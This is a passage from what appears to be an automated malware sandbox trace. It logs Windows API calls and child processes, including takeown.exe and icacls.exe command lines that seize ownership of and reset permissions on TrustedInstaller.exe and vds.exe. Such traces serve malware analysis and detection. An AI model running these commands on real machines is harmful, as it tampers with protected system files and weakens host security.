lpUsedDefaultChar=0x0) returned 33 [0223.423] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c120 [0223.423] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-STRING-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0xf6c120, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-STRING-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0223.423] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c288 [0223.423] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c120) returned 1 [0223.423] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c288) returned 1 [0223.423] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6e950) returned 1 [0223.423] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6e8c8) returned 1 [0223.423] FindNextFileW (in: hFindFile=0x99fd50, lpFindFileData=0x171f664 | out: lpFindFileData=0x171f664*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d241a90, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d241a90, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x997e30, dwReserved1=0x0, cFileName="api-ms-win-core-synch-l1-1-0.dll", cAlternateFileName="")) returned 1 [0223.423] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6e8c8 [0223.423] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6e950 [0223.423] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYNCH-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0223.423] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c288 [0223.423] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYNCH-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0xf6c288, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-SYNCH-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 32 [0223.423] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c120 [0223.423] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c288) returned 1 [0223.423] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c120) returned 1 [0223.423] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6e950) returned 1 [0223.423] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6e8c8) returned 1 [0223.423] FindNextFileW (in: hFindFile=0x99fd50, lpFindFileData=0x171f664 | out: lpFindFileData=0x171f664*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8576430, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8576430, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2f60, dwReserved0=0x997e30, dwReserved1=0x0, cFileName="api-ms-win-core-synch-l1-2-0.dll", cAlternateFileName="")) returned 1 [0223.423] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6e8c8 [0223.423] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6e950 [0223.423] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYNCH-L1-2-0.DLL", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0223.423] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c120 [0223.423] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYNCH-L1-2-0.DLL", cchWideChar=32, lpMultiByteStr=0xf6c120, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-SYNCH-L1-2-0.DLL", lpUsedDefaultChar=0x0) returned 32 [0223.423] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c288 [0223.423] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c120) returned 1 [0223.423] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c288) returned 1 [0223.423] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6e950) returned 1 [0223.423] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6e8c8) returned 1 [0223.423] FindNextFileW (in: hFindFile=0x99fd50, lpFindFileData=0x171f664 | out: lpFindFileData=0x171f664*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1f57d2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1f57d2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x997e30, dwReserved1=0x0, cFileName="api-ms-win-core-sysinfo-l1-1-0.dll", cAlternateFileName="")) returned 1 [0223.423] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6e8c8 [0223.423] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6e950 [0223.423] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYSINFO-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 34 [0223.423] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c288 [0223.423] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYSINFO-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0xf6c288, cbMultiByte=34, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-SYSINFO-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 34 [0223.423] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c120 [0223.423] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c288) returned 1 [0223.423] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c120) returned 1 [0223.424] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6e950) returned 1 [0223.424] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6e8c8) returned 1 [0223.424] FindNextFileW (in: hFindFile=0x99fd50, lpFindFileData=0x171f664 | out: lpFindFileData=0x171f664*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d267bef, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d267bef, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x2d265d70, ftLastWriteTime.dwHighDateTime=0x1ca040f, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x997e30, dwReserved1=0x0, cFileName="api-ms-win-core-threadpool-l1-1-0.dll", cAlternateFileName="")) returned 1 [0223.424] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6e8c8 [0223.424] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6e950 [0223.424] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-THREADPOOL-L1-1-0.DLL", cchWideChar=37, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 37 [0223.424] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c120 [0223.424] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-THREADPOOL-L1-1-0.DLL", cchWideChar=37, lpMultiByteStr=0xf6c120, cbMultiByte=37, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-THREADPOOL-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 37 [0223.424] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c288 [0223.424] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c120) returned 1 [0223.424] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c288) returned 1 [0223.424] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6e950) returned 1 [0223.424] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6e8c8) returned 1 [0223.424] FindNextFileW (in: hFindFile=0x99fd50, lpFindFileData=0x171f664 | out: lpFindFileData=0x171f664*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb859c590, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb859c590, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x997e30, dwReserved1=0x0, cFileName="api-ms-win-core-timezone-l1-1-0.dll", cAlternateFileName="")) returned 1 [0223.424] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6e8c8 [0223.424] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6e950 [0223.424] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-TIMEZONE-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 35 [0223.424] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c288 [0223.424] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-TIMEZONE-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0xf6c288, cbMultiByte=35, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-TIMEZONE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 35 [0223.424] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c120 [0223.424] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c288) returned 1 [0223.424] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c120) returned 1 [0223.424] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6e950) returned 1 [0223.424] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6e8c8) returned 1 [0223.424] FindNextFileW (in: hFindFile=0x99fd50, lpFindFileData=0x171f664 | out: lpFindFileData=0x171f664*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d21b931, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d21b931, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x2d21a280, ftLastWriteTime.dwHighDateTime=0x1ca040f, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x997e30, dwReserved1=0x0, cFileName="api-ms-win-core-util-l1-1-0.dll", cAlternateFileName="")) returned 1 [0223.424] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6e8c8 [0223.424] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6e950 [0223.424] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-UTIL-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0223.424] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c120 [0223.424] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-UTIL-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0xf6c120, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-UTIL-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0223.424] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c288 [0223.424] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c120) returned 1 [0223.424] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c288) returned 1 [0223.424] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6e950) returned 1 [0223.424] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6e8c8) returned 1 [0223.424] FindNextFileW (in: hFindFile=0x99fd50, lpFindFileData=0x171f664 | out: lpFindFileData=0x171f664*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d9fe1dc, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d9fe1dc, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x2d9fd330, ftLastWriteTime.dwHighDateTime=0x1ca040f, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x997e30, dwReserved1=0x0, cFileName="api-ms-win-core-xstate-l1-1-0.dll", cAlternateFileName="")) returned 1 [0223.424] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6e8c8 [0223.427] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="shell32.dll", BaseAddress=0x171f8c8 | out: BaseAddress=0x171f8c8*=0x75cf0000) returned 0x0 [0223.430] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c288) returned 1 [0223.430] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6e8c8) returned 1 [0223.430] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6e840) returned 1 [0223.430] FindClose (in: hFindFile=0x99fd50 | out: hFindFile=0x99fd50) returned 1 [0223.430] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6e268) returned 1 [0223.430] CommandLineToArgvW (in: lpCmdLine="C:\\Windows\\system32\\wbengine.exe", pNumArgs=0x171f8f4 | out: pNumArgs=0x171f8f4) returned 0x9b8250*="C:\\Windows\\system32\\wbengine.exe" [0223.430] Wow64DisableWow64FsRedirection (in: OldValue=0x171f8f0 | out: OldValue=0x171f8f0*=0x0) returned 1 [0223.430] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0223.431] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf72850) returned 1 [0223.431] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x998590, lpbSaclPresent=0x171f724, pSacl=0x171f778, lpbSaclDefaulted=0x171f724 | out: lpbSaclPresent=0x171f724, pSacl=0x171f778, lpbSaclDefaulted=0x171f724) returned 1 [0223.431] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf780e0 [0223.431] CreateEventA (lpEventAttributes=0x171f76c, bManualReset=1, bInitialState=0, lpName="") returned 0x110 [0223.431] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf780e0) returned 1 [0223.431] GetLastError () returned 0x0 [0223.431] LocalFree (hMem=0x998590) returned 0x0 [0223.431] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf780e0 [0223.431] CryptAcquireContextW (in: phProv=0x171f75c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x171f75c*=0x9b8650) returned 1 [0223.432] CryptCreateHash (in: hProv=0x9b8650, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x171f75c | out: phHash=0x171f75c) returned 1 [0223.432] CryptHashData (hHash=0x99fd50, pbData=0xf77f78, dwDataLen=0xb, dwFlags=0x0) returned 1 [0223.432] CryptGetHashParam (in: hHash=0x99fd50, dwParam=0x4, pbData=0x171f760, pdwDataLen=0x171f76c, dwFlags=0x0 | out: pbData=0x171f760, pdwDataLen=0x171f76c) returned 1 [0223.432] CryptGetHashParam (in: hHash=0x99fd50, dwParam=0x2, pbData=0xf780e0, pdwDataLen=0x171f760, dwFlags=0x0 | out: pbData=0xf780e0, pdwDataLen=0x171f760) returned 1 [0223.432] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf78128 [0223.432] CryptDestroyHash (hHash=0x99fd50) returned 1 [0223.432] CryptReleaseContext (hProv=0x9b8650, dwFlags=0x0) returned 1 [0223.432] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf780e0) returned 1 [0223.432] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf780e0 [0223.432] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf78170 [0223.432] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf780e0) returned 1 [0223.432] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf780e0 [0223.433] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf780e0) returned 1 [0223.433] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf78170) returned 1 [0223.433] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf78128) returned 1 [0223.433] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf78128 [0223.433] OpenEventA (dwDesiredAccess=0x100002, bInheritHandle=0, lpName="Global\\{92EAD6E2-16CB-825D-3763-CAC9D6ED414E}") returned 0x128 [0223.433] GetLastError () returned 0x0 [0223.433] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf78170 [0223.433] CryptAcquireContextW (in: phProv=0x171f75c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x171f75c*=0x9b8650) returned 1 [0223.433] CryptCreateHash (in: hProv=0x9b8650, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x171f75c | out: phHash=0x171f75c) returned 1 [0223.433] CryptHashData (hHash=0x99fd50, pbData=0xf77f78, dwDataLen=0xb, dwFlags=0x0) returned 1 [0223.433] CryptGetHashParam (in: hHash=0x99fd50, dwParam=0x4, pbData=0x171f760, pdwDataLen=0x171f76c, dwFlags=0x0 | out: pbData=0x171f760, pdwDataLen=0x171f76c) returned 1 [0223.433] CryptGetHashParam (in: hHash=0x99fd50, dwParam=0x2, pbData=0xf78170, pdwDataLen=0x171f760, dwFlags=0x0 | out: pbData=0xf78170, pdwDataLen=0x171f760) returned 1 [0223.433] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf780e0 [0223.434] CryptDestroyHash (hHash=0x99fd50) returned 1 [0223.434] CryptReleaseContext (hProv=0x9b8650, dwFlags=0x0) returned 1 [0223.434] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf78170) returned 1 [0223.434] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf78170 [0223.434] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf781b8 [0223.434] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf78170) returned 1 [0223.434] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf78170 [0223.434] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf78170) returned 1 [0223.434] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf781b8) returned 1 [0223.434] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf780e0) returned 1 [0223.434] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf780e0 [0223.434] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf781b8 [0223.434] OpenMutexA (dwDesiredAccess=0x100002, bInheritHandle=0, lpName="Global\\{FD64C8AB-F74D-C8D4-F31D-96A1BB45705E}") returned 0x0 [0223.434] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf781b8) returned 1 [0223.434] GetLastError () returned 0x5 [0223.434] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf781b8 [0223.434] OpenMutexA (dwDesiredAccess=0x2, bInheritHandle=0, lpName="Global\\{FD64C8AB-F74D-C8D4-F31D-96A1BB45705E}") returned 0x0 [0223.434] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf781b8) returned 1 [0223.434] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf781b8 [0223.434] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\{FD64C8AB-F74D-C8D4-F31D-96A1BB45705E}") returned 0x12c [0223.434] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf781b8) returned 1 [0223.434] SetEvent (hEvent=0x128) returned 1 [0223.434] WaitForSingleObject (hHandle=0x12c, dwMilliseconds=0xffffffff) Thread: id = 1047 os_tid = 0x740 Process: id = "108" image_name = "takeown.exe" filename = "c:\\windows\\system32\\takeown.exe" page_root = "0x54e9e000" os_pid = "0x8ac" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "42" os_parent_pid = "0x794" cmd_line = "C:\\Windows\\system32\\takeown.exe /F C:\\Windows\\servicing\\TrustedInstaller.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000de59" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 925 os_tid = 0x8b0 Thread: id = 926 os_tid = 0x8c0 Process: id = "109" image_name = "icacls.exe" filename = "c:\\windows\\system32\\icacls.exe" page_root = "0x536a3000" os_pid = "0x8c4" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "42" os_parent_pid = "0x794" cmd_line = "C:\\Windows\\system32\\icacls.exe C:\\Windows\\servicing\\TrustedInstaller.exe /reset" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000de59" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 927 os_tid = 0x8c8 Process: id = "110" image_name = "takeown.exe" filename = "c:\\windows\\system32\\takeown.exe" page_root = "0x52aa8000" os_pid = "0x8d8" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "42" os_parent_pid = "0x794" cmd_line = "C:\\Windows\\system32\\takeown.exe /F C:\\Windows\\System32\\vds.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000de59" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 928 os_tid = 0x8dc Thread: id = 929 os_tid = 0x8ec Process: id = "111" image_name = "icacls.exe" filename = "c:\\windows\\system32\\icacls.exe" page_root = "0x4f8ad000" os_pid = "0x8f0" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "42" os_parent_pid = "0x794" cmd_line = "C:\\Windows\\system32\\icacls.exe C:\\Windows\\System32\\vds.exe /reset" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000de59" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 930 os_tid = 0x8f4 Process: id = "112" image_name = "vds.exe" filename = "c:\\windows\\system32\\vds.exe" page_root = "0x4840b000" os_pid = "0x904" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "46" os_parent_pid = "0x1a8" cmd_line = "C:\\Windows\\System32\\vds.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\vds" [0xe], "NT AUTHORITY\\Logon Session 00000000:000358f3" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 931 os_tid = 0x908 [0226.015] GetTimeZoneInformation (in: lpTimeZoneInformation=0x58f9e0 | out: lpTimeZoneInformation=0x58f9e0) returned 0x2 [0226.017] GetCurrentProcess () returned 0xffffffff [0226.017] GetExitCodeProcess (in: hProcess=0xffffffff, lpExitCode=0x58f9cc | out: lpExitCode=0x58f9cc*=0x103) returned 1 [0226.017] GetForegroundWindow () returned 0x0 [0226.017] GetCaretBlinkTime () returned 0x1f4 [0226.018] GetFileType (hFile=0xf710cd) returned 0x0 [0226.018] GetConsoleProcessList (in: lpdwProcessList=0x58fa8c, dwProcessCount=0x1 | out: lpdwProcessList=0x58fa8c) returned 0x0 [0226.018] VarCyFromUI8 (in: ui64In=0xdf39010a, pcyOut=0x58f998 | out: pcyOut=0x58f998) returned 0x0 [0226.019] IsHungAppWindow (hwnd=0xbb220d) returned 0 [0226.019] GetCommState (in: hFile=0x3b268c, lpDCB=0x58f800 | out: lpDCB=0x58f800) returned 0 [0226.019] PlayEnhMetaFileRecord (hdc=0xeea41c, pht=0x58f7fc, pmr=0x58f7e8, cht=0x353) returned 0 